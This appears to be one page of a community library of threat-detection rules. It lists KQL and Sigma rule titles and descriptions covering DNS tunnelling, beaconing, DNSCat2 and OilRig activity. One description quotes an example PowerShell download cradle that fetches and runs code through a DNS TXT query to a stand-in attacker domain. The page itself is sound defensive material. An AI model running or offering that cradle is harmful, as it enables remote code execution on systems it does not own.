Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
581 detections
Filters
Last updated
All Time
Detection languages
189
120
83
51
41
Contributors
129
115
60
34
31
Categories
453
214
170
69
64
Platforms
298
274
70
62
13
Products / Services
137
130
103
96
79
MITRE Techniques
18,123
15,639
12,581
8,394
6,215
CVEs
2
2
1
1
1
IDS Classtypes
46
40
17
8
6
IDS Protocols
100
11
3
2
1
KQL Query from file: MDE: Detecting Quick Assist Usage
KQL Query from file: CVE-2025-33073 Detection
KQL Query from file: LDAPNightmare POC Detection
KQL Query from file: Azure Cloud Security Monitoring
KQL Query from file: DefenderXDR Advanced Hunting All-In-One IP Search
KQL Query from file: Detecting TeamsPhisher attack with Azure Sentinel
KQL Query from file: Hunting Zloader DNS Tunneling
KQL Query from file: Golden Chickens TerraStealerV2 Malware Detection
KQL Query
KQL Query from file: Tracking Proton66 Activity with KQL
Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.
'Identifies patterns in the time deltas of contacts between internal and external IPs in Fortinet network data that are consistent with beaconing.
Accounts for randomness (jitter) and seasonality such as working hours that may have been introduced into the beacon pattern.
The lookback is set to 1d, the minimum granularity in time deltas is set to 60 seconds and the minimum number of beacons required to emit a detection is set to 4.
Increase the lookback period to capture beacons with larger periodicities.
The jitter tolerance is set to 0.2 - This means we account for an overall 20% deviation from the infered beacon periodicity. Seasonality is dealt with automatically using series_outliers.
Note: In large environments it may be necessary to reduce the lookback period to get fast query times.'
Accounts for randomness (jitter) and seasonality such as working hours that may have been introduced into the beacon pattern.
The lookback is set to 1d, the minimum granularity in time deltas is set to 60 seconds and the minimum number of beacons required to emit a detection is set to 4.
Increase the lookback period to capture beacons with larger periodicities.
The jitter tolerance is set to 0.2 - This means we account for an overall 20% deviation from the infered beacon periodicity. Seasonality is dealt with automatically using series_outliers.
Note: In large environments it may be necessary to reduce the lookback period to get fast query times.'
Well-known DNS Exfiltration tools execution
Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
Well-known DNS Exfiltration tools execution
This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Detecting DNS tunnel activity for Muddywater actor
Detects Silence EmpireDNSAgent as described in the Group-IP report
Detecting DNS tunnel activity for Muddywater actor
OilRig APT Activity
Sigma
Detects OilRig activity as reported by Nyotron in their March 2018 report
Page 24 of 28